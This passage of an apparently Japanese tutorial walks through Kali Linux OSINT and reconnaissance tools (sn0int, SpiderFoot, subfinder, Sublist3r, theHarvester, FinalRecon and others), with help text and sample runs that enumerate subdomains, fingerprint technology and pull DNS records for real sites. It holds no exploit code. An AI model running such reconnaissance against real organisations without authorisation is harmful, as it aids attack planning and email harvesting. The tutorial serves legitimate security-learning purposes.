  stats        Show statistics about your current workspace
  repl         Run a lua repl
  paths        Show paths of various file system locations
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -w, --workspace <WORKSPACE>  Select a different workspace instead of the default [env: SN0INT_WORKSPACE=]
  -h, --help                   Print help
  -V, --version                Print version

■ 使用例

root@kali:~# sn0int
[+] Connecting to database
[+] Loaded 0 modules
[*] No modules found, run pkg quickstart to install default modules
[*] New to sn0int? Follow https://sn0int.rtfd.io/en/stable/usage.html

# デフォルトモジュールをインストール
[sn0int][default] > pkg quickstart
[+] imdyske/tinder                                    : installed v0.1.0
[+] imdyske/fediverse                                 : installed v0.1.0
[+] kpcyrd/apex-domain                                : installed v0.1.0
[+] kpcyrd/asn                                        : installed v0.1.0
[+] kpcyrd/archive-org                                : installed v0.1.0
[+] kpcyrd/axfr                                       : installed v0.3.0
[...]

# インストールしたモジュールの一覧を表示
[sn0int][default] > pkg list
imdyske/fediverse 0.1.0
    Uses search.social to search for accounts on the fediverse
imdyske/tinder 0.1.0
    Search tinder for profiles
kpcyrd/apex-domain 0.1.0
    Create subdomain entries for apex domains
kpcyrd/archive-org 0.1.0
    Collect information about an archive.org profile
kpcyrd/asn 0.1.0
    Run a asn lookup for an ip address
kpcyrd/axfr 0.3.0
    Try a zone transfer for subdomains
kpcyrd/btc-blockchain-info 0.1.0
    Read tx history of bitcoin addresses
kpcyrd/cname-harvest 0.3.0
    Query for CNAMES to find subdomains
kpcyrd/crypto-detect 0.2.0
    Detect crypto currency from address
kpcyrd/ctlogs 0.7.0
    Query certificate transparency logs to discover subdomains
[...]

# ドメインを追加
[sn0int][default] > add domain
[?] Domain: qiita.com

# 使用するモジュールを選択
[sn0int][default] > use ctlogs
# モジュールを実行（Certificate Transparencyのログからサブドメインを検索）
[sn0int][default][kpcyrd/ctlogs] > run
[*] "qiita.com"                                       : Adding subdomain "support.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "business.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "www.business.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "teams.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "www.teams.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "jobs.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "media.jobs.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "www.media.jobs.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "qiita.com"
[*] "qiita.com"                                       : Adding subdomain "ads.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "www.ads.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "corp.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "plus.jobs.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "terminated.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "kobito.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "slack.teams.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "staging.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "oauth.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "documents-jobs.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "info.jobs.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "pr.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "app.teams.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "blog.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "workq.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "staging.app.teams.qiita.com"
[*] "qiita.com"                                       : Adding subdomain "career.qiita.com"
[+] Finished kpcyrd/ctlogs

SpiderFoot

様々なAPI、ツールを統合したOSINT自動化ツールです。

■ 使用方法

root@kali:~# spiderfoot --help

usage: sf.py [-h] [-d] [-l IP:port] [-m mod1,mod2,...] [-M] [-C scanID] [-s TARGET] [-t type1,type2,...]
             [-u {all,footprint,investigate,passive}] [-T] [-o {tab,csv,json}] [-H] [-n] [-r] [-S LENGTH] [-D DELIMITER] [-f]
             [-F type1,type2,...] [-x] [-q] [-V] [-max-threads MAX_THREADS]

options:
  -h, --help            show this help message and exit
  -d, --debug           Enable debug output.
  -l IP:port            IP and port to listen on.
  -m mod1,mod2,...      Modules to enable.
  -M, --modules         List available modules.
  -C scanID, --correlate scanID
                        Run correlation rules against a scan ID.
  -s TARGET             Target for the scan.
  -t type1,type2,...    Event types to collect (modules selected automatically).
  -u {all,footprint,investigate,passive}
                        Select modules automatically by use case
  -T, --types           List available event types.
  -o {tab,csv,json}     Output format. Tab is default.
  -H                    Don\'t print field headers, just data.
  -n                    Strip newlines from data.
  -r                    Include the source data field in tab/csv output.
  -S LENGTH             Maximum data length to display. By default, all data is shown.
  -D DELIMITER          Delimiter to use for CSV output. Default is ,.
  -f                    Filter out other event types that weren\'t requested with -t.
  -F type1,type2,...    Show only a set of event types, comma-separated.
  -x                    STRICT MODE. Will only enable modules that can directly consume your target, and if -t was specified only those events
                        will be consumed by modules. This overrides -t and -m options.
  -q                    Disable logging. This will also hide errors!
  -V, --version         Display the version of SpiderFoot and exit.
  -max-threads MAX_THREADS
                        Max number of modules to run concurrently.

■ 使用例

# サイトが使用している技術スタックを探索
root@kali:~# spiderfoot -m sfp_tool_wappalyzer,sfp_tool_whatweb -s qiita.com
2024-11-16 11:27:27,357 [INFO] sf : Modules enabled (4): sfp_tool_wappalyzer,sfp_tool_whatweb,sfp__stor_db,sfp__stor_stdout
[...]
SpiderFoot UI                   Internet Name                                   qiita.com
SpiderFoot UI                   Domain Name                                     qiita.com
sfp_tool_whatweb                Web Server                                      CloudFront
sfp_tool_whatweb                Web Technology                                  CloudFront
sfp_tool_whatweb                Raw Data from RIRs/APIs                         [{'target': 'http://qiita.com', 'http_status': 301, 'request_config': {'headers': {'User-Agent': 'Mozilla/5.0'}}, 'plugins': {'CloudFront': {}, 'Country': {'string': ['UNITED STATES'], 'module': ['US']}, 'HTTPServer': {'string': ['CloudFront']}, 'IP': {'string': ['18.65.207.93']}, 'RedirectLocation': {'string': ['https://qiita.com/']}, 'Title': {'string': ['301 Moved Permanently']}, 'UncommonHeaders': {'string': ['x-amz-cf-pop,x-amz-cf-id']}, 'Via-Proxy': {'string': ['1.1 7bdbfc0a92d08678fa98f050e3369202.cloudfront.net (CloudFront)']}}}]
sfp_tool_wappalyzer             Software Used                                   Ruby
sfp_tool_wappalyzer             Software Used                                   Ruby on Rails
sfp_tool_wappalyzer             Software Used                                   Amazon Web Services
sfp_tool_wappalyzer             Software Used                                   Emotion
sfp_tool_wappalyzer             Software Used                                   Emotion
sfp_tool_wappalyzer             Web Technology                                  Nginx
sfp_tool_wappalyzer             Software Used                                   Nginx
sfp_tool_wappalyzer             Software Used                                   Cloudflare
sfp_tool_wappalyzer             Software Used                                   Google Publisher Tag
sfp_tool_wappalyzer             Software Used                                   DoubleClick for Publishers (DFP)
sfp_tool_wappalyzer             Software Used                                   Google Tag Manager
sfp_tool_wappalyzer             Software Used                                   Imgix
sfp_tool_wappalyzer             Software Used                                   Imgix
sfp_tool_wappalyzer             Software Used                                   Google Font API
sfp_tool_wappalyzer             Software Used                                   Funding Choices
sfp_tool_wappalyzer             Software Used                                   Font Awesome
sfp_tool_wappalyzer             Software Used                                   cdnjs
sfp_tool_wappalyzer             Software Used                                   HSTS
sfp_tool_wappalyzer             Software Used                                   Amazon CloudFront
sfp_tool_wappalyzer             Software Used                                   AWS Certificate Manager
sfp_tool_wappalyzer             Software Used                                   PWA
sfp_tool_wappalyzer             Software Used                                   Open Graph

# Web GUIを起動
root@kali:~# spiderfoot -l 0.0.0.0:8080

スキャン結果は画面から確認可能（画面からのスキャン実行も可能）

subfinder

様々ななオンラインソースを使用して、ウェブサイトの有効なサブドメインを探索します。

■ 使用方法

root@kali:~# subfinder --help

Usage:
  subfinder [flags]

Flags:
INPUT:
   -d, -domain string[]  domains to find subdomains for
   -dL, -list string     file containing list of domains for subdomain discovery

SOURCE:
   -s, -sources string[]           specific sources to use for discovery (-s crtsh,github). Use -ls to display all available sources.
   -recursive                      use only sources that can handle subdomains recursively (e.g. subdomain.domain.tld vs domain.tld)
   -all                            use all sources for enumeration (slow)
   -es, -exclude-sources string[]  sources to exclude from enumeration (-es alienvault,zoomeye)

FILTER:
   -m, -match string[]   subdomain or list of subdomain to match (file or comma separated)
   -f, -filter string[]   subdomain or list of subdomain to filter (file or comma separated)

RATE-LIMIT:
   -rl, -rate-limit int  maximum number of http requests to send per second
   -t int                number of concurrent goroutines for resolving (-active only) (default 10)

UPDATE:
   -up, -update                 update subfinder to latest version
   -duc, -disable-update-check  disable automatic subfinder update check

OUTPUT:
   -o, -output string       file to write output to
   -oJ, -json               write output in JSONL(ines) format
   -oD, -output-dir string  directory to write output (-dL only)
   -cs, -collect-sources    include all sources in the output (-json only)
   -oI, -ip                 include host IP in output (-active only)

CONFIGURATION:
   -config string                flag config file (default "/root/.config/subfinder/config.yaml")
   -pc, -provider-config string  provider config file (default "/root/.config/subfinder/provider-config.yaml")
   -r string[]                   comma separated list of resolvers to use
   -rL, -rlist string            file containing list of resolvers to use
   -nW, -active                  display active subdomains only
   -proxy string                 http proxy to use with subfinder
   -ei, -exclude-ip              exclude IPs from the list of domains

DEBUG:
   -silent             show only subdomains in output
   -version            show version of subfinder
   -v                  show verbose output
   -nc, -no-color      disable color in output
   -ls, -list-sources  list all available sources
   -stats              report source statistics

OPTIMIZATION:
   -timeout int   seconds to wait before timing out (default 30)
   -max-time int  minutes to wait for enumeration results (default 10)

■ 使用例

root@kali:~# subfinder -silent -d qiita.com | getallurls
https://business.qiita.com/robots.txt
https://ads.qiita.com/robots.txt
https://corp.qiita.com/
https://corp.qiita.com/jobs/engineers/
[...]

Sublist3r

Google、Yahoo、Bing、Baidu、Askなどの多くの検索エンジンやNetcraft、Virustotal、ThreatCrowd、DNSdumpster、ReverseDNSを使ってサブドメインを列挙します。

■ 使用方法

root@kali:~# sublist3r --help

usage: sublist3r [-h] -d DOMAIN [-b [BRUTEFORCE]] [-p PORTS] [-v [VERBOSE]] [-t THREADS] [-e ENGINES] [-o OUTPUT] [-n]

OPTIONS:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Domain name to enumerate it\'s subdomains
  -b [BRUTEFORCE], --bruteforce [BRUTEFORCE]
                        Enable the subbrute bruteforce module
  -p PORTS, --ports PORTS
                        Scan the found subdomains against specified tcp ports
  -v [VERBOSE], --verbose [VERBOSE]
                        Enable Verbosity and display results in realtime
  -t THREADS, --threads THREADS
                        Number of threads to use for subbrute bruteforce
  -e ENGINES, --engines ENGINES
                        Specify a comma-separated list of search engines
  -o OUTPUT, --output OUTPUT
                        Save the results to text file
  -n, --no-color        Output without color

■ 使用例

root@kali:~# sublist3r -d qiita.com
[-] Enumerating subdomains now for qiita.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[...]
[-] Total Unique Subdomains Found: 25
ads.qiita.com
www.ads.qiita.com
blog.qiita.com
business.qiita.com
www.business.qiita.com
career.qiita.com
corp.qiita.com
documents-jobs.qiita.com
jobs.qiita.com
info.jobs.qiita.com
media.jobs.qiita.com
[...]

theHarvester

指定されたドメインの電子メール、IP、サブドメイン、URLを複数の公開リソースを使用して収集します。

■ 使用方法

root@kali:~# theHarvester --help

usage: theHarvester [-h] -d DOMAIN [-l LIMIT] [-S START] [-p] [-s] [--screenshot SCREENSHOT] [-v] [-e DNS_SERVER] [-t] [-r [DNS_RESOLVE]] [-n]
                    [-c] [-f FILENAME] [-b SOURCE]

options:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Company name or domain to search.
  -l LIMIT, --limit LIMIT
                        Limit the number of search results, default=500.
  -S START, --start START
                        Start with result number X, default=0.
  -p, --proxies         Use proxies for requests, enter proxies in proxies.yaml.
  -s, --shodan          Use Shodan to query discovered hosts.
  --screenshot SCREENSHOT
                        Take screenshots of resolved domains specify output directory: --screenshot output_directory
  -v, --virtual-host    Verify host name via DNS resolution and search for virtual hosts.
  -e DNS_SERVER, --dns-server DNS_SERVER
                        DNS server to use for lookup.
  -t, --take-over       Check for takeovers.
  -r [DNS_RESOLVE], --dns-resolve [DNS_RESOLVE]
                        Perform DNS resolution on subdomains with a resolver list or passed in resolvers, default False.
  -n, --dns-lookup      Enable DNS server lookup, default False.
  -c, --dns-brute       Perform a DNS brute force on the domain.
  -f FILENAME, --filename FILENAME
                        Save the results to an XML and JSON file.
  -b SOURCE, --source SOURCE
                        anubis, baidu, bevigil, binaryedge, bing, bingapi, bufferoverun, brave, censys, certspotter, criminalip, crtsh,
                        dnsdumpster, duckduckgo, fullhunt, github-code, hackertarget, hunter, hunterhow, intelx, netlas, onyphe, otx,
                        pentesttools, projectdiscovery, rapiddns, rocketreach, securityTrails, sitedossier, subdomaincenter,
                        subdomainfinderc99, threatminer, tomba, urlscan, virustotal, yahoo, zoomeye

■ 使用例

root@kali:~# theHarvester -d example.com -b all -f results
[*] Target: example.com
[*] Searching Bing.
[*] Searching Anubis.
[*] Searching Baidu
[...]
zzq15.example.com
zzz7777.example.com
zzzmmmccc026.example.com
zzzzzzzzzzzz.example.com

[*] Reporting started.
[*] XML File saved.
[*] JSON File saved.

root@kali:~# jq '.asns[0:5],.emails[0:5],.hosts[0:5],.interesting_urls[0:5],.ips[0:5]' results.json
[
  "AS132203",
  "AS13335",
  "AS15133",
  "AS16262",
  "AS16276"
]
[
  "'bob@example.com",
  "'john.doe@example.com",
  "'me@example.com",
  "'noah@example.com",
  "'tom.lee@example.com"
]
[
  ".example.com",
  "0.example.com",
  "001.example.com",
  "02.example.com",
  "04.example.com"
]
[
  "https://example.com/",
  "https://example.com/phishing",
  "https://www.example.com/"
]
[
  "146.185.196.24",
  "172.67.171.208",
  "185.17.3.252",
  "185.217.199.198",
  "185.238.74.165"
]

Waybackpy

Wayback Machineへのページのアーカイブやアーカイブされたページの検索などを行います。

■ 使用方法

root@kali:~# waybackpy --help

Usage: waybackpy [OPTIONS]

Options:
  -u, --url TEXT                  URL on which Wayback machine operations are
                                  to be performed.
  -ua, --user-agent, --user_agent TEXT
                                  User agent, default value is 'waybackpy
                                  3.0.6 -
                                  https://github.com/akamhy/waybackpy'.
  -v, --version                   waybackpy version.
  -l, --show-license, --show_license, --license
                                  Show license of Waybackpy.
  -n, -au, --newest, --archive_url, --archive-url
                                  Retrieve the newest archive of URL.
  -o, --oldest                    Retrieve the oldest archive of URL.
  -N, --near                      Archive close to a specified time.
  -Y, --year INTEGER RANGE        Year in integer.  [1994<=x<=9999]
  -M, --month INTEGER RANGE       Month in integer.  [1<=x<=12]
  -D, --day INTEGER RANGE         Day in integer.  [1<=x<=31]
  -H, --hour INTEGER RANGE        Hour in integer.  [0<=x<=24]
  -MIN, --minute INTEGER RANGE    Minute in integer.  [0<=x<=60]
  -s, --save                      Save the specified URL\'s webpage and print
                                  the archive URL.
  -h, --headers                   Headers data of the SavePageNow API.
  -ku, --known-urls, --known_urls
                                  List known URLs. Uses CDX API.
  -sub, --subdomain               Use with '--known_urls' to include known
                                  URLs for subdomains.
  -f, --file                      Use with '--known_urls' to save the URLs in
                                  file at current directory.
  --cdx                           Flag for using CDX API.
  -st, --start-timestamp, --start_timestamp, --from TEXT
                                  Start timestamp for CDX API in
                                  yyyyMMddhhmmss format.
  -et, --end-timestamp, --end_timestamp, --to TEXT
                                  End timestamp for CDX API in yyyyMMddhhmmss
                                  format.
  -C, --closest TEXT              Archive that are closest the timestamp
                                  passed as arguments to this parameter.
  -f, --cdx-filter, --cdx_filter, --filter TEXT
                                  Filter on a specific field or all the CDX
                                  fields.
  -mt, --match-type, --match_type TEXT
                                  The default behavior is to return matches
                                  for an exact URL. However, the CDX server
                                  can also return results matching a certain
                                  prefix, a certain host, or all sub-hosts by
                                  using the match_type
  -st, --sort TEXT                Choose one from default, closest or reverse.
                                  It returns sorted CDX entries in the
                                  response.
  -up, --use-pagination, --use_pagination
                                  Use the pagination API of the CDX server
                                  instead of the default one.
  -gz, --gzip TEXT                To disable gzip compression pass false as
                                  argument to this parameter. The default
                                  behavior is gzip compression enabled.
  -c, --collapse TEXT             Filtering or 'collapse' results based on a
                                  field, or a substring of a field.
  -l, --limit TEXT                Number of maximum record that CDX API is
                                  asked to return per API call, default value
                                  is 25000 records.
  -cp, --cdx-print, --cdx_print TEXT
                                  Print only certain fields of the CDX API
                                  response, if this parameter is not used then
                                  the plain text response of the CDX API will
                                  be printed.
  --help                          Show this message and exit.

■ 使用例

# Qiitaの最も古いアーカイブのスクリーンショットを取得
root@kali:~# waybackpy --url https://qiita.com --oldest | httpx -silent | httpx -silent -ss
https://web.archive.org/web/20110727192029/http://qiita.com/

取得したスクリーンショット

WitnessMe

指定されたURLのスクリーンショットの取得およびサーバーの情報の取得を行います。

■ 使用方法

root@kali:~# witnessme screenshot --help

usage: witnessme screenshot [-h] [-p PORTS [PORTS ...]] target [target ...]

positional arguments:
  target                The target IP(s), range(s), CIDR(s) or hostname(s), NMap XML file(s), .Nessus file(s)

options:
  -h, --help            show this help message and exit
  -p PORTS [PORTS ...], --ports PORTS [PORTS ...]
                        Ports to scan if IP Range/CIDR is provided
						
root@kali:~# witnessme grab --help

usage: witnessme grab [-h] [-x XPATH | -l] target [target ...]

positional arguments:
  target                The target IP(s), range(s), CIDR(s) or hostname(s), NMap XML file(s), .Nessus file(s)

options:
  -h, --help            show this help message and exit
  -x XPATH, --xpath XPATH
                        XPath to use
  -l, --links           Get all links
  
root@kali:~# wmdb --help

usage: wmdb [-h] scan_folder

positional arguments:
  scan_folder  WitnessMe scan folder

options:
  -h, --help   show this help message and exit

■ 使用例

root@kali:~# witnessme screenshot http://192.168.11.4
[witnessme.screenshot] INFO - Starting scan 02044794-b5ca-4d0e-8a0f-a6d8413d5798
[witnessme.headlessbrowser] INFO - Starting headless browser
[witnessme.headlessbrowser] WARNING - Running under root privileges, browser will start with --no-sandbox
[witnessme.headlessbrowser] INFO - Using 1 browser tab(s)/thread(s)
[witnessme.screenshot] INFO - Took screenshot of http://192.168.11.4:80
[witnessme.headlessbrowser] INFO - Killing headless browser
[witnessme.screenshot] INFO - Saved scan to scan_2024_12_01_070106/

root@kali:~# witnessme grab http://192.168.11.4
[witnessme.headlessbrowser] INFO - Starting headless browser
[witnessme.headlessbrowser] WARNING - Running under root privileges, browser will start with --no-sandbox
[witnessme.headlessbrowser] INFO - Using 1 browser tab(s)/thread(s)
[witnessme.grab] INFO - Grabbed page:
{
    "body": "74847 bytes",
    "headers": {
        "cache-control": "max-age=0, must-revalidate, private",
        "connection": "Keep-Alive",
        "content-encoding": "gzip",
        "content-type": "text/html; charset=UTF-8",
        "date": "Sun, 01 Dec 2024 07:03:32 GMT",
        "expires": "Sun, 01 Dec 2024 07:03:32 GMT",
        "keep-alive": "timeout=5, max=100",
        "server": "Apache/2.4.62 (Debian)",
        "set-cookie": "maintenance_token=deleted; expires=Sat, 02 Dec 2023 07:03:31 GMT; Max-Age=0; path=/; httponly\neccube=khjfkis6uuhmvr3dbv0j83tb2a; path=/; httponly",
        "transfer-encoding": "chunked",
        "vary": "Accept-Encoding",
        "x-content-type-options": "nosniff",
        "x-debug-token": "5ace25",
        "x-debug-token-link": "http://192.168.11.4/_profiler/5ace25",
        "x-frame-options": "SAMEORIGIN",
        "x-powered-by": "PHP/8.1.31",
        "x-robots-tag": "noindex",
        "x-xss-protection": "1; mode=block"
    },
    "ip": "192.168.11.4",
    "port": 80,
    "scheme": "http",
    "server": "Apache/2.4.62 (Debian)",
    "title": "EC-CUBE SHOP / TOP\u30da\u30fc\u30b8",
    "url": "http://192.168.11.4:80"
}
[witnessme.headlessbrowser] INFO - Killing headless browser

root@kali:~#  wmdb scan_2024_12_01_070106/
[!] Press tab for autocompletion and available commands
WMDB >> servers
+----+------------------------+--------------------------+------------------------+----------------------+
| Id | URL                    | Title                    | Server                 | Matched Signature(s) |
+----+------------------------+--------------------------+------------------------+----------------------+
| 1  | http://192.168.11.4:80 | EC-CUBE SHOP / TOPページ | Apache/2.4.62 (Debian) | None                 |
+----+------------------------+--------------------------+------------------------+----------------------+

Multi-purpose Toolkit

FinalRecon

標的となるWebサイトのヘッダー情報の取得、WHOIS情報の取得、SSL証明書情報の取得、DNS情報の取得、サブドメインの探索、ディレクトリの探索、ポートスキャンなど包括的な機能を提供します。

■ 使用方法

root@kali:~# finalrecon --help

usage: finalrecon [-h] [--url URL] [--headers] [--sslinfo] [--whois] [--crawl] [--dns] [--sub] [--dir] [--wayback] [--ps] [--full] [-nb]
                  [-dt DT] [-pt PT] [-T T] [-w W] [-r] [-s] [-sp SP] [-d D] [-e E] [-o O] [-cd CD] [-k K]

options:
  -h, --help  show this help message and exit
  --url URL   Target URL
  --headers   Header Information
  --sslinfo   SSL Certificate Information
  --whois     Whois Lookup
  --crawl     Crawl Target
  --dns       DNS Enumeration
  --sub       Sub-Domain Enumeration
  --dir       Directory Search
  --wayback   Wayback URLs
  --ps        Fast Port Scan
  --full      Full Recon

Extra Options:
  -nb         Hide Banner
  -dt DT      Number of threads for directory enum [ Default : 30 ]
  -pt PT      Number of threads for port scan [ Default : 50 ]
  -T T        Request Timeout [ Default : 30.0 ]
  -w W        Path to Wordlist [ Default : wordlists/dirb_common.txt ]
  -r          Allow Redirect [ Default : False ]
  -s          Toggle SSL Verification [ Default : True ]
  -sp SP      Specify SSL Port [ Default : 443 ]
  -d D        Custom DNS Servers [ Default : 1.1.1.1 ]
  -e E        File Extensions [ Example : txt, xml, php ]
  -o O        Export Format [ Default : txt ]
  -cd CD      Change export directory [ Default : ~/.local/share/finalrecon ]
  -k K        Add API key [ Example : shodan@key ]

■ 使用例

root@kali:~# finalrecon --headers --url https://x.com
[...]
[!] Headers :

date : Sat, 05 Oct 2024 03:11:41 GMT
perf : 7402827104
expiry : Tue, 31 Mar 1981 05:00:00 GMT
pragma : no-cache
server : tsa_m
set-cookie : guest_id_marketing=v1%3A172809790174216025; Max-Age=63072000; Expires=Mon, 05 Oct 2026 03:11:41 GMT; Path=/; Domain=.x.com; Secure; SameSite=None, guest_id_ads=v1%3A172809790174216025; Max-Age=63072000; Expires=Mon, 05 Oct 2026 03:11:41 GMT; Path=/; Domain=.x.com; Secure; SameSite=None, personalization_id="v1_mWycO5XfwlN/98rX98j7OA=="; Max-Age=63072000; Expires=Mon, 05 Oct 2026 03:11:41 GMT; Path=/; Domain=.x.com; Secure; SameSite=None, guest_id=v1%3A172809790174216025; Max-Age=63072000; Expires=Mon, 05 Oct 2026 03:11:41 GMT; Path=/; Domain=.x.com; Secure; SameSite=None, ct0=; Max-Age=-1728097900; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.x.com; Secure; SameSite=Lax
content-type : text/html; charset=utf-8
x-powered-by : Express
cache-control : no-store, max-age=0
last-modified : Sat, 05 Oct 2024 03:11:41 GMT
x-frame-options : DENY
x-transaction-id : 2e77ad93f7dd92be
x-xss-protection : 0
x-content-type-options : nosniff
content-security-policy : connect-src 'self' blob: https://*.pscp.tv https://*.twimg.com https://*.video.pscp.tv https://aa.twitter.com https://aa.x.com https://accounts.google.com/gsi/ https://ads-api.twitter.com https://ads-api.x.com https://api-stream.twitter.com https://api-stream.x.com https://api.twitter.com https://api.x.ai https://api.x.com https://api.x.com https://caps.twitter.com https://caps.x.com https://jf.twitter.com https://jf.x.com https://pay.twitter.com https://pay.x.com https://production.plaid.com/ https://sandbox.plaid.com/ https://sentry.io https://ton-staging.atla.twitter.com https://ton-staging.atla.x.com https://ton-staging.pdxa.twitter.com https://ton-staging.pdxa.x.com https://ton.twitter.com https://ton.x.com https://twitter.com https://upload.twitter.com https://upload.x.com https://www.google-analytics.com https://x.com https://checkoutshopper-live.adyen.com wss://*.pscp.tv https://vmap.snappytv.com https://vmapstage.snappytv.com https://vmaprel.snappytv.com https://vmap.grabyo.com https://dhdsnappytv-vh.akamaihd.net https://pdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://dwo3ckksxlb0v.cloudfront.net https://media.riffsy.com https://*.giphy.com https://media.tenor.com https://c.tenor.com ws://localhost:8008/v2/ipc http://127.0.0.1:7346 http://127.0.0.1:9001 http://localhost:9013 https://ads-twitter.com https://analytics.twitter.com https://analytics.x.com  ; default-src 'self'; form-action 'self' https://twitter.com https://*.twitter.com https://x.com https://*.x.com https://localhost.twitter.com:3443 https://localhost.x.com:3443; font-src 'self' https://*.twimg.com; frame-src 'self' https://accounts.google.com/ https://accounts.google.com/gsi/ https://api.sandbox.sardine.ai/ https://cards-frame.twitter.com https://cdn.plaid.com/ https://client-api.arkoselabs.com/ https://content.googleapis.com/ https://iframe.arkoselabs.com/ https://mobile.twitter.com https://mobile.x.com https://pay.twitter.com https://pay.x.com https://payments-dev.x.com/ https://payments-staging.x.com/ https://payments-prod.x.com/ https://twitter.com https://vaultjs.apideck.com/ https://verify-sandbox.plaid.com/ https://x.com  https://recaptcha.net/recaptcha/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; img-src 'self' blob: data: https://*.cdn.twitter.com https://*.cdn.x.com https://ton.twitter.com https://ton.x.com https://*.twimg.com https://analytics.twitter.com https://analytics.x.com https://cm.g.doubleclick.net https://www.google-analytics.com https://maps.googleapis.com https://www.periscope.tv https://www.pscp.tv https://ads-twitter.com https://ads-api.twitter.com https://ads-api.x.com https://media.riffsy.com https://*.giphy.com https://media.tenor.com https://c.tenor.com https://*.pscp.tv https://*.periscope.tv https://prod-periscope-profile.s3-us-west-2.amazonaws.com https://platform-lookaside.fbsbx.com https://scontent.xx.fbcdn.net https://scontent-sea1-1.xx.fbcdn.net https://*.googleusercontent.com https://t.co/1/i/adsct; manifest-src 'self'; media-src 'self' blob: https://twitter.com https://x.com https://*.twimg.com https://*.vine.co https://*.pscp.tv https://*.video.pscp.tv https://dhdsnappytv-vh.akamaihd.net https://pdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://dwo3ckksxlb0v.cloudfront.net; object-src 'none'; script-src 'self' 'unsafe-inline' https://*.twimg.com https://recaptcha.net/recaptcha/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ http://www.gstatic.com/cast/sdk/libs/caf_receiver/v3/cast_receiver_framework.js https://accounts.google.com/gsi/client https://api.sandbox.sardine.ai/assets/loader.min.js https://apis.google.com/js/api.js https://appleid.cdn-apple.com/appleauth/static/jsapi/appleid/1/en_US/appleid.auth.js https://cdn.plaid.com/link/v2/stable/link-initialize.js https://client-api.arkoselabs.com/ https://static.ads-twitter.com https://twitter.com https://www.google-analytics.com https://www.gstatic.com/cast/sdk/libs/caf_receiver/v3/cast_receiver_framework.js https://x.com http://localhost:12345/scfs/cl/js/vizio-companion-lib.js 'wasm-unsafe-eval'  'nonce-MjhlMDRlMGEtNjU3Zi00YWU3LTk5ZTQtZmZkN2RhMTkwNDM3'; style-src 'self' 'unsafe-inline' https://accounts.google.com/gsi/style https://*.twimg.com; worker-src 'self' blob:; report-uri https://x.com/i/csp_report?a=O5RXE%3D%3D%3D&ro=false
strict-transport-security : max-age=631138519
cross-origin-opener-policy : unsafe-none
cross-origin-embedder-policy : unsafe-none
content-encoding : gzip
x-response-time : 105
x-connection-hash : 1ea410203591d1d495464746b92645b073bb6f149eb19f05b6c4bccbaf4f1ea2
transfer-encoding : chunked

root@kali:~# finalrecon --dns --url https://x.com
[...]
[!] Starting DNS Enumeration...

A       : 104.244.42.193
A       : 104.244.42.1
A       : 104.244.42.129
A       : 104.244.42.65
MX      : 5 alt1.aspmx.l.google.com.
MX      : 5 alt2.aspmx.l.google.com.
MX      : 10 alt3.aspmx.l.google.com.
MX      : 1 aspmx.l.google.com.
MX      : 10 alt4.aspmx.l.google.com.
NS      : d.u10.twtrdns.net.
NS      : b.r10.twtrdns.net.
NS      : b.u10.twtrdns.net.
NS      : a.r10.twtrdns.net.
NS      : c.u10.twtrdns.net.
NS      : d.r10.twtrdns.net.
NS      : a.u10.twtrdns.net.
NS      : c.r10.twtrdns.net.
SOA     : a.u10.twtrdns.net. noc.twitter.com. 2023138457 3600 600 604800 300
TXT     : "kkdl3qb3tcrmdhfsm803p67r0my0svs8"
TXT     : "slack-domain-verification=Csk4bjCPFnJaDLLaKFUwCTFuUpCVvnYlAm2Tba0i"
TXT     : "atlassian-sending-domain-verification=bd424180-8645-4de5-bd6a-285479c7577a"
TXT     : "google-site-verification=F6u9mGL--d2lbLljvH3b1UUgXtevQPdcamKr9c8914A"
TXT     : "_w548xs1kfxtlqk3jyx19bzwk34c473i"
TXT     : "adobe-idp-site-verification=ab4d9ce3473a73e81f46238da34ea4967fd5ac80e5c43fbfa8dff46d06a5321c"
TXT     : "atlassian-domain-verification=j6u0o1PTkobCXC84uEF/sWpIPtaZURBVYqKzmTvT8wugLcHT1vvrzzA63iP1qSLN"
TXT     : "google-site-verification=8yQmoVhQedzlt36RPeQP41ytrEFk9aHEnde_xm0626g"
TXT     : "3089463"
TXT     : "adobe-sign-verification=c693a744ee2d282a36a43e6e724c5ea"
